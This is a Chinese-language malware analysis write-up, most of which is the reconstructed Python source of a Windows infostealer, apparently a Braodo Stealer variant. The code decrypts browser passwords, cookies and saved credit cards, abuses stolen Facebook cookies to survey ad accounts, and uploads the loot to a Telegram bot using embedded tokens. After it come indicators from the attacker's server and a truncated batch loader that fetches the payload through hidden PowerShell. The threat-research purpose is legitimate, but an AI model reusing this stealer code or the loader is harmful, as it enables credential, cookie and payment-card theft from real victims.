RAISE_VARARGS 1 ``` ```python= assert key_length == 32 ``` # stage 2 source code 總之在經過八個多小時的不懈努力以及一些神奇小工具(GPT、Claude)的幫助後,成功解出大致上的 source code,某些部份可以無法直接執行,需要微調程式內容 ```python= import os, json, base64, sqlite3, shutil, requests, glob, re, zipfile, io, datetime, hmac, subprocess from socket import create_connection from base64 import b64decode from hashlib import sha1, pbkdf2_hmac from pathlib import Path from pyasn1.codec.der.decoder import decode from Crypto.Cipher import AES, DES3 from win32crypt import CryptUnprotectData from ctypes import windll, byref, create_unicode_buffer, pointer, WINFUNCTYPE from ctypes.wintypes import DWORD, WCHAR, UINT import urllib.request import time LocalAppData = os.getenv("LOCALAPPDATA") AppData = os.getenv("APPDATA") TMP = os.getenv("TEMP") USR = TMP.split("\\AppData")[0] Data_Path = f"{TMP}\\{os.getenv('COMPUTERNAME', 'defaultValue')}" TOKEN_BOT='7688244721:AAEuVdGvEt2uIYmzQjJmSJX1JKFud9pr1XI' CHAT_ID_NEW='-1002426006531' CHAT_ID_RESET='-1002489276039' browsers=[] creation_datetime = datetime.datetime.now().strftime('%d-%m-%Y (%H:%M:%S)') ch_dc_browsers = { "Chromium": f"{LocalAppData}\\Chromium\\User Data", "Thorium": f"{LocalAppData}\\Thorium\\User Data", "Chrome": f"{LocalAppData}\\Google\\Chrome\\User Data", "Chrome (x86)": f"{LocalAppData}\\Google(x86)\\Chrome\\User Data", "Chrome SxS": f"{LocalAppData}\\Google\\Chrome SxS\\User Data", "Maple": f"{LocalAppData}\\MapleStudio\\ChromePlus\\User Data", "Iridium": f"{LocalAppData}\\Iridium\\User Data", "7Star": f"{LocalAppData}\\7Star\\7Star\\User Data", "CentBrowser": f"{LocalAppData}\\CentBrowser\\User Data", "Chedot": f"{LocalAppData}\\Chedot\\User Data", "Vivaldi": f"{LocalAppData}\\Vivaldi\\User Data", "Kometa": f"{LocalAppData}\\Kometa\\User Data", "Elements": f"{LocalAppData}\\Elements Browser\\User Data", "Epic Privacy Browser": f"{LocalAppData}\\Epic Privacy Browser\\User Data", "Uran": f"{LocalAppData}\\uCozMedia\\Uran\\User Data", "Fenrir": f"{LocalAppData}\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer", "Catalina": f"{LocalAppData}\\CatalinaGroup\\Citrio\\User Data", "Coowon": f"{LocalAppData}\\Coowon\\Coowon\\User Data", "Liebao": f"{LocalAppData}\\liebao\\User Data", "QIP Surf": f"{LocalAppData}\\QIP Surf\\User Data", "Orbitum": f"{LocalAppData}\\Orbitum\\User Data", "Dragon": f"{LocalAppData}\\Comodo\\Dragon\\User Data", "360Browser": f"{LocalAppData}\\360Browser\\Browser\\User Data", "Maxthon": f"{LocalAppData}\\Maxthon3\\User Data", "K-Melon": f"{LocalAppData}\\K-Melon\\User Data", "CocCoc": f"{LocalAppData}\\CocCoc\\Browser\\User Data", "Brave": f"{LocalAppData}\\BraveSoftware\\Brave-Browser\\User Data", "Amigo": f"{LocalAppData}\\Amigo\\User Data", "Torch": f"{LocalAppData}\\Torch\\User Data", "Sputnik": f"{LocalAppData}\\Sputnik\\Sputnik\\User Data", "Edge": f"{LocalAppData}\\Microsoft\\Edge\\User Data", "DCBrowser": f"{LocalAppData}\\DCBrowser\\User Data", "Yandex": f"{LocalAppData}\\Yandex\\YandexBrowser\\User Data", "UR Browser": f"{LocalAppData}\\UR Browser\\User Data", "Slimjet": f"{LocalAppData}\\Slimjet\\User Data", "Opera": f"{AppData}\\Opera Software\\Opera Stable", "OperaGX": f"{AppData}\\Opera Software\\Opera GX Stable", "Speed360": f"{AppData}\\Local\\360chrome\\Chrome\\User Data", "QQBrowser": f"{AppData}\\Local\\Tencent\\QQBrowser\\User Data", "Sogou": f"{AppData}\\SogouExplorer\\Webkit", "Discord": f'{AppData}\\discord', "Discord Canary": f'{AppData}\\discordcanary', "Lightcord": f'{AppData}\\Lightcord', "Discord PTB": f'{AppData}\\discordptb' } def installed_ch_dc_browsers(): results=[] for browser,path in ch_dc_browsers.items(): if os.path.exists(path): results.append(browser) return results def get_ch_master_key(path): try: with open(os.path.join(path,'Local State'),'r',encoding='utf-8') as f: c = f.read() except FileExistsError: return None if 'os_crypt' in c: # 與 ThieuDo 的內容不同 if 'os_crypt' not in c: return None try: locals_state = json.loads(c) ch_master_key = base64.b64decode(locals_state['os_crypt']['encrypted_key']) ch_master_key = ch_master_key[5:] ch_master_key = CryptUnprotectData(ch_master_key, None, None, None, 0)[1] return ch_master_key except: return None def decrypt_ch_value(buff, ch_master_key=None): try: starts=buff.decode(encoding='utf-8',errors='ignore')[:3] if starts == 'v10' or starts == 'v11': iv = buff[3:15] payload = buff[15:] cipher = AES.new(ch_master_key,AES.MODE_GCM,iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass except (UnicodeDecodeError,ValueError,IndexError): return None except Exception: return None def decrypt_aes(decode_item, master_password, global_salt): entry_salt=decode_item[0][0][1][0][1][0].asOctets() iteration_count = int(decode_item[0][0][1][0][1][1]) key_length = int(decode_item[0][0][1][0][1][2]) assert key_length == 32 encoded_password = sha1(global_salt + master_password.encode('utf-8')).digest() key=pbkdf2_hmac( 'sha256',encoded_password, entry_salt,iteration_count,dklen=key_length) init_vector = b'\x04\x0e' + decode_item[0][0][1][1][1].asOctets() encrypted_value = decode_item[0][1].asOctets() cipher = AES.new(key,AES.MODE_CBC,init_vector) return cipher.decrypt(),encrypted_value def decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedData): hp = sha1(globalSalt + masterPassword.encode()).digest() pes = entrySalt + b'\x00' * (20 - len(entrySalt)) chp = sha1(hp + entrySalt).digest() k1 = hmac.new(chp, pes + entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, pes + tk,sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return DES3.new(key, DES3.MODE_CBC, iv).decrypt() def getKey(directory:Path, masterPassword=""): dbfile: Path = directory + "\\key4.db" conn = sqlite3.connect(dbfile) c = conn.cursor() c.execute('SELECT item1, item2 FROM metadata;') row = next(c) globalSalt, item2 = row try: decodedItem2, _ = decode(item2) encryption_method = '3DES' entrySalt = decodedItem2[0][1][0].asOctets() cipherT = decodedItem2[1].asOctets() except AttributeError: encryption_method = 'AES' decodedItem2 = decode(item2) c.execute('SELECT a11, a102 FROM nssPrivate WHERE a102 = ?;', (b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01',)) try: row = next(c) a11, a102 = row except StopIteration: raise Exception('gecko database broken') if encryption_method == 'AES': decodedA11 = decode(a11) key = decrypt_aes(decodedA11, masterPassword, globalSalt) if encryption_method == '3DES': decodedA11, _ = decode(a11) oid = decodedA11[0][0].asTuple() assert oid == (1, 2, 840, 113549, 1, 12, 5, 1, 3), f'idk key to format {oid}' # ThieuDo 為 113_549 entrySalt = decodedA11[0][1][0].asOctets() cipherT = decodedA11[1].asOctets() key = decrypt3DES(globalSalt, masterPassword, entrySalt, cipherT) return key[:24] def PKCS7unpad(b): return b[:-b[-1]] def decodeLoginData(key, data): asn1data, _ = decode(b64decode(data)) assert asn1data[0].asOctets() == b'\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' assert asn1data[1][0].asTuple() == (1, 2, 840, 113549, 3, 7) # ThieuDo 為 113_549 iv = asn1data[1][1].asOctets() ciphertext = asn1data[2].asOctets() des = DES3.new(key, DES3.MODE_CBC, iv) return PKCS7unpad(des.decrypt(ciphertext)).decode() class Facebook: __module__ = __name__,__qualname__ = 'Facebook' def __init__(self, cookie): self.rq = requests.Session() cookies = self.Parse_Cookie(cookies) headers = {'authority': 'adsmanager.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5','cache-control': 'max-age=0','sec-ch-prefers-color-scheme': 'dark','sec-ch-ua': '"Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"','sec-ch-ua-full-version-list': '"Chromium";v="112.0.5615.140", "Google Chrome";v="112.0.5615.140", "Not:A-Brand";v="99.0.0.0"','sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-ch-ua-platform-version': '"15.0.0"','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'same-origin','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36','viewport-width': '794'} self.rq.header.update(headers) self.rq.cookies.update(cookies) self.token = self.Get_Market() if self.token == False: return None #else: # ThieuDo 有 else self.uid = cookies['c_user'] def Parse_Cookie(self, cookie): cookies={} for c in cookie.split(';'): key_value = c.strip().split('=',1) if len(key_value) == 2: key, value = key_value if key.lower() in ['c_user', 'xs', 'fr']: cookies[key] = value return cookies def Get_Market(self): try: act = self.rq.get('https://adsmanager.facebook.com/adsmanager/manage') list_data = act.text x = list_data.split('act=') idx = x[1].split('&')[0] list_token = self.rq.get(f'https://adsmanager.facebook.com/adsmanager/manage/campaigns?act={idx}&breakdown_regrouping=1&nav_source=no_referrer') list_token = list_token.text x_token = list_token.split('{window.__accessToken="') token = (x_token[1].split('";')[0]) return token except: return False def Get_info_Tkqc(self): try: get_tkqc = f'https://graph.facebook.com/v17.0/me/adaccounts?fields=account_id&access_token={self.token}' list_tikqc = self.rq.get(get_tkqc) datax = '' for item in list_tikqc.json('data'): xitem = item['id'] url = f'https://graph.facebook.com/v16.0/{xitem}/?fields=spend_cap,amount_spent,adtrust_dsl,adspaymentcycle,currency,account_status,disable_reason,name,created_time&access_token={self.token}' x = self.rq.get(url) data = x.json() try: status = data['account_status'] except: statut = 'Không Rõ Trạng Thái' if int(status) == 1: stt = 'Live' else: stt = 'Die' name = data['name'] id_tkqc = data['id'] tien_te = data['currency'] du_no = data['speed_cap'] da_chi_tieu = data['amount_spent'] limit_ngay = data['adtrust_dsl'] created_time = data['created_time'] try: nguong_no = data['adspaymentcycle']['data'][0]['threshold_amount'] currencies_equivalent_to_or_near_usd = ['USD', 'EUR', 'JPY', 'GBP', 'AUD', 'CAD', 'CHF', 'CNY', 'SEK', 'NZD', 'MXN', 'SGD', 'HKD', 'NOK', 'KRW', 'TRY', 'RUB', 'INR', 'BRL', 'ZAR', 'MYR', 'DKK', 'PLN', 'HUF', 'ILS', 'THB', 'CLP', 'COP', 'PHP'] if tien_te in currencies_equivalent_to_or_near_usd: try: nguong_no //= 100 except:pass except: nguong_no = 'Không Thẻ' datax += f'- Tên TKQC: + {name} |ID_TKQC: + {id_tkqc} |Trạng Thái: + {stt} |Tiền Tệ: + {tien_te} |Đã Tiêu Vào Ngưỡng: + {du_no} |Tổng Đã Chi Tiêu: + {da_chi_tieu} |Limit Ngày: + {limit_ngay} |Ngưỡng Nợ: + {nguong_no} |Ngày Tạo: + {created_time[10:]} \n' datax = f"Tổng Số TKQC: {str(len(json.loads(list_tikqc)['data']))}\n{datax}" return datax except:return 'Không Có TKQC' def Get_Page(self): try: List_Page = f'https://graph.facebook.com/v17.0/me/facebook_pages?fields=name%2Clink%2Cfan_count%2Cfollowers_count%2Cverification_status&access_token={self.token}' data = self.rq.get(List_Page) if 'data' in data.json(): pages = data.json()['data'] data = f"Tổng Số Page: {str(len(pages))}\n" for page in pages: name = page['name'] link = page['link'] like = page['fan_count'] fl = page['followers_couunt'] veri = page['verification_status'] data += f"- {name}|{link}|{like}|{fl}|{veri}\n" return data except: return 'Page: 0' return None def Get_QTV_Gr(self): try: get_group = f'https://graph.facebook.com/v17.0/me/groups?fields=administrator,member_count&limits=1500&access_token={self.token}' list_group = self.rq.get(get_group).text data = json.loads(list_group) ids = 'QTV Group :\n' for item in data['data']: if item['administrator']: id = item['id'] count = item['member_count'] ids += f"- https://www.facebook.com/groups/{id}|{count}\n" return ids except:return 'QTV Group : 0' def Get_id_BM(self): List_BM = f'https://graph.facebook.com/v17.0/me?fields=businesses&access_token={self.token}' data = self.rq.get(List_BM) try: listbm = data.json()['businesses']['data'] id_list = [] for item in listbm: business_id = item['id'] bussiness_name = item['name'] id_list.append([business_id,bussiness_name]) return id_list except: return None def Get_Tk_In_BM(self): try: listbm = self.Get_id_BM() if not listbm: return 'Không Có BM' result='' for idbm,name in listbm: count_bm = self.Check_Slot_BM(idbm) result += f"-BM{count_bm}|{idbm}|{name}\n" return result except:pass def Get_DTSG(self): url = 'https://mbasic.facebook.com/composer/ocelot/async_loader/?publisher=feed' rq = self.rq.get(url) data = rq.content.decode('utf-8') fb_dtsg = data.split('name=\\"fb_dtsg\\" value=\\"')[1].split('\\')[0] hsi = '7398100915815341414' spin_t = '1722504598' spin_r = '1015316062' jazoest = data.split('name=\\"jazoest\\" value=\\"')[1].split('\\"')[0] return fb_dtsg, hsi, spin_t, spin_r, jazoest def Check_Slot_BM(self,idbm): try: fb_dtsg, hsi, spin_t, spin_r, jazoest = self.Get_DTSG params = {'business_id':idbm} data = {'__user': self.uid,'__a': '1','__req': '6','__hs': '19577.BP:brands_pkg.2.0..0.0','dpr': '1','__ccg': 'EXCELLENT','__rev': spin_r,'__s': 'vio2ve:9w2u8u:bushdg','__hsi': hsi,'__dyn': '7xeUmxa2C5rgydwn8K2abBWqxu59o9E4a2i5VEdpE6C4UKegdp98Sm4Euxa1twKzobo9E7C1FxG9xedz8hwgo5S3a4EuCwQwCxq1zwCCwjFEK3idwOQ17m3Sbwgo7y78abwEwk89oeUa8fGxnzoO1WwamcwgECu7E422a3Fe6rwnVUao9k2C4oW18wRwEwiUmwnHxJxK48GU8EhAy88rwzzXx-ewjovCxeq4o884O1fwQzUS2W2K4E5yeDyU52dCgqw-z8c8-5aDBwEBwKG13y85i4oKqbDyo-2-qaUK2e0UFU2RwrU6CiU9E4KeCK2q1pwjouwg8a85Ou','__csr': '','fb_dtsg': fb_dtsg,'jazoest': jazoest,'lsd': 'rLFRv1HDaMzv8jQKSvvUya','__bid': idbm,'__spin_r': spin_r,'__spin_b': 'trunk','__spin_t': spin_t,} check = self.rq.post( 'https://business.facebook.com/business/adaccount/limits/',params=params,data=data) data = check.text.split(');')[1][1] json_data = json.loads(data) ad_account_limit = json_data['payload']['adAccountLimit'] except:return 0 return ad_account_limit def ADS_Checker(self): try: result = ( f"{self.Get_info_Tkqc()}\n{self.Get_Tk_In_BM()}\n{self.Get_Page()}\n{self.Get_QTV_Gr()}\n" ) return result except Exception as e: return None ERROR_SUCCESS = 0 ERROR_MORE_DATA = 234 RmForceShutdown = 1 WINFUNCTYPE(None, UINT) def callback(percent_complete: UINT) -> None: pass rstrtmgr=windll.LoadLibrary('Rstrtmgr') def Unlock_Cookies(cookies_path): session_handle = DWORD(0) session_flags = DWORD(0) session_key = (WCHAR * 256)() result = DWORD(rstrtmgr.RmStartSession(byref(session_handle), session_flags, session_key)).value if result != ERROR_SUCCESS: raise RuntimeError(f'RmStartSession returned non-zero result: {result}') try: result = DWORD(rstrtmgr.RmRegisterResources(session_handle, 1, byref(pointer(create_unicode_buffer(cookies_path))), 0, None, 0, None)).value if result != ERROR_SUCCESS: raise RuntimeError(f'RmStartSession returned non-zero result: {result}') proc_info_needed = DWORD(0) proc_info = DWORD(0) reboot_reasons = DWORD(0) result = DWORD(rstrtmgr.RmGetList(session_handle, byref(proc_info_needed), byref(proc_info), None, byref(reboot_reasons))).value if result not in (ERROR_SUCCESS, ERROR_MORE_DATA): raise RuntimeError(f"RmGetList returned non-successful result: {result}") if proc_info_needed.value: result = DWORD(rstrtmgr.RmShutdown(session_handle, RmForceShutdown, callback)).value if result != ERROR_SUCCESS: raise RuntimeError(f"RmShutdown returned non-successful result: {result}") finally: result = DWORD(rstrtmgr.RmEndSession(session_handle)).value if result != ERROR_SUCCESS: raise RuntimeError(f'RmShutdown returned non-successful result: {result}') def save_gck_login_data(profiles, profile_name, browser_name): count = 0 login_data = '' logins = [] for profile in profiles: try: with open(os.path.join(profile,'logins.json','r')) as loginf: jsonLogins = json.load(loginf) if 'logins' not in jsonLogins: return [] for row in jsonLogins['logins']: encUsername = row['encryptedUsername'] encPassword = row['encryptedPassword'] logins.append((row['hostname'], decodeLoginData(getKey(profile), encUsername), decodeLoginData(getKey(profile), encPassword))) for login in logins: login_data += f"URL: {login[0]}\nUsername: {login[1]}\nPassword: {login[2]}\nApplication: {browser_name} [Profile: {profile_name}]\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n" count += 1 except: continue if count > 0: if not os.path.exists(Data_Path): os.makedirs(Data_Path) logins_file = os.path.join(Data_Path, f'All_passwords.txt') with open(logins_file, 'a', encoding='utf-8') as f: f.writelines(login_data) return count def get_gck_basepath(browser_type): basepaths={ 'Firefox':f'{AppData}\\Mozilla\\Firefox', 'Pale Moon':f'{AppData}\\Moonchild Productions\\Pale Moon', 'SeaMonkey':f'{AppData}\\Mozilla\\SeaMonkey', 'Waterfox':f'{AppData}\\Waterfox', 'Mercury':f'{AppData}\\mercury', 'K-Meleon':f'{AppData}\\K-Meleon', 'IceDragon':f'{AppData}\\Comodo\\IceDragon', 'Cyberfox':f'{AppData}\\8pecxstudios\\Cyberfox', 'BlackHaw':f'{AppData}\\NETGATE Technologies\\BlackHaw' } return basepaths.get(browser_type, None) def get_gck_profiles(basepath): try: profiles_path = os.path.join(basepath,'profiles.ini') with open(profiles_path, 'r') as f: data = f.read() profiles = [ os.path.join(basepath.encode('utf-8'),p.strip()[5:].encode('utf-8')).decode('utf-8') for p in re.findall('^Path=.+(?s:.)$', data, re.M) ] return profiles except Exception: profiles = [] return profiles def get_ch_login_data(browser, path, profile, ch_master_key): result = '' count = 0 if not os.path.exists(f"{path}\\{profile}\\Login Data"): return count shutil.copy(f"{path}\\{profile}\\Login Data",TMP+'\\login_db') conn = sqlite3.connect(TMP+'\\login_db') cursor = conn.cursor() try: cursor.execute('SELECT action_url, username_value, password_value FROM logins') except: pass for row in cursor.fetchall(): if row[0] and row[1]: password = decrypt_ch_value(row[2], ch_master_key) result += f"URL: {row[0]}\nUsername: {row[1]}\nPassword: {password}\nApplication: {browser}\n[Profile: {profile}]\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n" count += 1 if count > 0: if not os.path.exists(Data_Path): os.makedirs(Data_Path) pw_file = os.path.join(Data_Path, f'All_Passwords.txt') with open(pw_file, 'a', encoding='utf-8') as f: f.writelines(result) conn.close() os.remove(TMP + '\\login_db') return count def get_ch_cookies(browser, path, profile, ch_master_key): count = 0 result = '' fb_result = [] browser_data = { 'Chrome': { 'executable': 'chrome.exe', 'path': 'C:/Program Files/Google/Chrome/Application/chrome.exe' }, 'Brave': { 'executable': 'brave.exe', 'path': 'C:/Program Files/BraveSoftware/Brave-Browser/Application/brave.exe' }, 'Edge': { 'executable': 'msedge.exe', 'path': 'C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe' }, 'Opera': { 'executable': 'opera.exe', 'path': 'C:/Users/User/AppData/Local/Programs/Opera/launcher.exe' }, 'Vivaldi': { 'executable': 'vivaldi.exe', 'path': 'C:/Program Files/Vivaldi/Application/vivaldi.exe' } # ThieuDo 多一個 CocCoc } if browser in browser_data: for i in range(20): # ThieuDo 為 While True try: browser_info = browser_data[browser] subprocess.run(['taskkill','/F','/IM',browser_info['executable']],creationflags=134217728) proc=subprocess.Popen([ browser_info['path'], '--remote-debugging-port=9222', '--restore-lastest-session', f'--user-data-dir={path}', f'--profile-directory={profile}', '--remote-allow-origins=*', '--headless', '--window-size=1,1', '--disable-gpu', '--no-sandbox'], creationflags=134217728) time.sleep(1) ws_url=requests.get('http://localhost:9222/json').json()[0]['webSocketDebuggerUrl'] ws=create_connection(ws_url) ws.send(json.dumps({'id':1,'method':'Network.getAllCookies'})) cookies=json.loads(ws.recv())['reslut']['cookies'] ws.close() proc.kill() for c in cookies: result += f"{c['domain']}\t{'TRUE' if c['domain'].startswith('.') else 'FALSE'}\t{c['path']}\t{'TRUE' if c['secure'] else 'FALSE'}\t{int(c.get('expires', 0))}\t{c['name']}\t{c['value']}\n" if c['domain'] == '.facebook.com': fb_result.append(f"{c['name']}={c['value']}") count += 1 if count > 0: dir_path = os.path.join(Data_Path,'Cookies Browser') os.makedirs(dir_path,exist_ok=True) with open(os.path.join(dir_path,f"{browser}_{profile}.txt"),'w',encoding='utf-8') as f: f.writelines(result) fb_formatted = '; '.join(fb_result) if 'c_user' in fb_formatted: browsers.append(fb_formatted) except Exception as e: print(f'Error with {browser}: {str(e)}') continue return count def process_facebook_cookies(): if not browsers: return None for fb_formatted in browsers: if 'c_user' in fb_formatted: ads_check = Facebook(fb_formatted).ADS_Checker() if ads_check: if not os.path.exists(Data_Path): os.makedirs(Data_Path) with open(os.path.join(Data_Path+'Facebook_Cookies.txt'),'a',encoding='utf-8') as f: f.write(f"\nCookie: {fb_formatted}\n\n{ads_check}\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━") def save_gck_cookies(profiles, profile_name, browser_name): count = 0 cookies_data = [] fb_result = [] try: conn = sqlite3.connect(f"file:{os.path.join(profiles[0], 'cookies.sqlite')}?mode=ro", uri=True) cursor = conn.cursor() except sqlite3.Error: return count for profile in profiles: cookies_db = os.path.join(profile,'cookies.sqlite') if not os.path.isfile(cookies_db): return try: cursor.execute('SELECT host, path, name, value, isSecure, isHttpOnly, expiry FROM moz_cookies') cookies=cursor.fetchall() except sqlite3.Error: continue if not cookies: continue for cookie in cookies: host, path, name, value, is_secure, is_http_only, expiry = cookie secure_str = 'TRUE' if is_secure else "FALSE" httponly_str = 'TRUE' if is_http_only else "FALSE" cookies_data.append(f"{host}\t{secure_str}\t{path}\t{httponly_str}\t{expiry}\t{name}\t{value}\n") if host == '.facebook.com': fb_result.append(f"{name}={value}") count += 1 fb_formatted = '; '.join(fb_result) if not os.path.exists(Data_Path): os.makedirs(Data_Path) if 'c_user' in fb_formatted: browsers.append(fb_formatted) if count > 0: dir_path = os.path.join(Data_Path,'Coolies Browser') if not os.path.exists(dir_path): os.makedirs(dir_path) cc_file = os.path.join(dir_path,f"{browser_name}_{profile_name}.txt") with open(cc_file,'w',encoding='utf-8') as f: f.writelines(cookies_data) if conn: conn.close() return count def get_ch_ccards(browser,path,profile,ch_master_key): result = '' count = 0 if not os.path.exists(f"{path}\\{profile}\\Web Data"): return count shutil.copy(f"{path}\\{profile}\\Web Data",TMP+"\\cards_db") conn = sqlite3.connect(TMP+'\\cards_db') cursor = conn.cursor() cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards') for row in cursor.fetchall(): if row[0] or not row[1] or not row[2] or not row[3]: continue card_number = decrypt_ch_value(row[3], ch_master_key) result += f"Card Name: {row[0]}\nCard Number: {card_number}\nCard Expiration: {row[1]} / {row[2]}\nAdded: {datetime.datetime.fromtimestamp(row[4])}\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n" count += 1 if count > 0: dir_path = os.path.join(Data_Path,'Credit Cards') if not os.path.exists(dir_path): os.makedirs(dir_path) cc_file = os.path.join(dir_path, f"{browser}_{profile}.txt") with open(cc_file,'w',encoding='utf-8') as f: f.writelines(result) conn.close() os.remove(TMP+'\\cards_db') return count gck_browser_profiles = { "Firefox": get_gck_profiles(get_gck_basepath("Firefox")), "Pale Moon": get_gck_profiles(get_gck_basepath("Pale Moon")), "SeaMonkey": get_gck_profiles(get_gck_basepath("SeaMonkey")), "Waterfox": get_gck_profiles(get_gck_basepath("Waterfox")), "Mercury": get_gck_profiles(get_gck_basepath("Mercury")) } total_ch_logins_count=0 total_ch_cookies_count=0 total_ch_ccards_count=0 total_gck_logins_count=0 total_gck_cookies_count=0 total_browsers_logins_count=0 total_browsers_cookies_count=0 total_browsers_ccards_count=0 available_path = installed_ch_dc_browsers() for browser in available_path: browser_path=ch_dc_browsers[browser] ch_master_key=get_ch_master_key(browser_path) if not glob.glob(os.path.join(browser_path,'Profile*')): profile_folders=[os.path.join(browser_path,'Default')] else: profile_folders=os.path.join(browser_path,'Default')+glob.glob(os.path.join(browser_path,'Profile*')) for profile_folder in profile_folders: profile = "" if browser in ["Opera", "Opera GX"] else os.path.basename(profile_folder) countP = get_ch_login_data(browser, browser_path, profile, ch_master_key) total_ch_logins_count += countP countC = get_ch_cookies(browser, browser_path, profile, ch_master_key) total_ch_cookies_count += countC countCC = get_ch_ccards(browser, browser_path, profile, ch_master_key) total_ch_ccards_count += countCC for browser,profiles in gck_browser_profiles.items(): for profile in profiles: profile_name=os.path.basename(profile) logins_count=save_gck_login_data([profile],profile_name,browser) total_gck_logins_count=total_gck_logins_count+logins_count cookies_count=save_gck_cookies([profile],profile_name,browser) total_gck_cookies_count=total_gck_cookies_count+cookies_count total_browsers_logins_count=total_ch_logins_count+total_gck_logins_count total_browsers_cookies_count=total_ch_cookies_count+total_gck_cookies_count total_browsers_ccards_count=total_ch_ccards_count process_facebook_cookies() files_to_archive=[] def GetIP(): try: response=requests.get('http://ip-api.com/json/?fields=8195') IData=json.loads(response.text) SEIP=IData['query'] CountryCode=IData['countryCode'] CountryName=IData['country'] GetIPD=f"IP: {SEIP}\mCountry: {CountryCode} - {CountryName}" except: GetIPD='IP: N/A' CountryName='Unknown' SEIP='Unknown' return GetIPD,CountryCode,SEIP def Counter(): path=f"{os.environ['USERPROFILE']}\\count" if os.path.exists(path): with open(path,'r') as file: count=file.read() count=int(count)+1 with open(path,'w') as file: file.write(str(count)) with open(path,'w') as file: file.write('1') count=1 return count GetIPD,CountryCode,SEIP=GetIP() Count=Counter() zip_data=io.BytesIO() archive_path=os.path.join(TMP,f"[{CountryCode}_{SEIP}] {os.getenv('COMPUTERNAME','defaultValue')}.zip") with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zip_file: zip_file.comment = f"Time Created: {creation_datetime}\nContact: https://t.me/Xmeta".encode() for root, _, files in os.walk(Data_Path): for name in files: try: file_path=os.path.join(root,name) zip_file.write(file_path,os.path.relpath(file_path, Data_Path)) except: continue with open(archive_path,'wb') as f: f.write(zip_data.getbuffer()) with open(archive_path,'wb') as f: f.write(zip_data.getbuffer()) message_body=f"{GetIPD}\nUser: {os.getlogin}\nBrowser Data: CK: {total_browsers_cookies_count}|PW: {total_browsers_logins_count}|CC: {total_browsers_ccards_count}\n" for i in range(10): if Count==1: CHAT_ID=CHAT_ID_NEW else: CHAT_ID=CHAT_ID_RESET try: with open(archive_path,'rb') as f: response=requests.post( f"https://api.telegram.org/bot{TOKEN_BOT}/sendDocument", params={'chat_id':CHAT_ID, 'caption':message_body, 'protect_content':True, 'disable_web_page_preview':True}, files={'document':f}, ) response.raise_for_status() except: continue shutil.rmtree(Data_Path,ignore_errors=True) if os.path.exists(archive_path): os.remove(archive_path) ``` 使用 `LocalAppData = os.getenv('LOCALAPPDATA') AppData=os.getenv('APPDATA') TMP=os.getenv('TEMP') USR=TMP.split('\\AppData')`進行搜尋,發現此網站 https://dk8munok987[.]net/ThieuDo/code.txt 在此程式碼中可以看到 ```python https://t.me/muabanuytinde TOKEN_BOT = "7478106565:AAGUD941UsUqqQVFU-6EgJQthezqHRXmivA" CHAT_ID_NEW = "-4663859231" CHAT_ID_RESET = "-4608110610" ``` 此部分相同 ``` hsi = '7398100915815341414' spin_t = '1722504598' spin_r = '1015316062' ``` 使用 `ch_master_key=get_ch_master_key(browser_path)` 搜尋可以找到此 X 推文 [X 上的 Yogesh Londhe:「Braodo Stealer TTP change -&gt; Payload now saved in base64 form -&gt; Function and variable name change Wukong[.]zip 46ddc4624daad4809077be154feba0ec duckyy26.bat 8461a89db655c02d50781d14c6883f71 download payload from GitHub github[.]com/LoneNone1807/Ducky #Braodo #Stealer #IOC https://t.co/rB2FkENyoT」 / X](https://x.com/suyog41/status/1830906427721834522) ### dk8munok987[.]net 查看 [VirusTotal - URL: https://dk8munok987.net](https://www.virustotal.com/gui/url/e043affb056a9d15325092a5ce5e1b2e7952e3b17bec842ff0e74965d489dd96/detection) 網站架構 Index of /: - AI/ - cgi-bin/ - KiemLua/ - code.txt - 僅 tg bot token 不同 - Startup.Bat - Text.txt - NamAn/ - Code.txt - 僅 tg bot token 不同 - [startup.bat](https://www.virustotal.com/gui/file/3e22869f98660fb15126bd2cd2adb10b6915c48681965568126a5a57095ca980) - ThieuDo/ - code.txt - [Startup.Bat](https://www.virustotal.com/gui/file/67a376b0cf274aa61451c4caf6d006a988f854ba909e3688225a6247d203afa7) - home.html - [installer.msi](https://www.virustotal.com/gui/file/4d8c10ef921be2937b2044bafa977d70dd4e951037fdbfc823b0241969610547) - Python313.zip - 包含整個 python 3.13 執行環境所需檔案 #### startup.bat 使用 strings 或是 cat 查看 ``` ��&cls @echo off setlocal set "path=%USERPROFILE%\AppData\Local\Temp" set "url_py=https://dk8munok987.net/Python313.zip" set "url_code=https://dk8munok987.net/ThieuDo/code.txt" set "path_py=%path%\Python313\python.exe" set "path_code=%path%\Python313\bot.py" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { (New-Object Net.WebClient).DownloadFile('%url_py%', '%path%\Python313.zip') }" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass 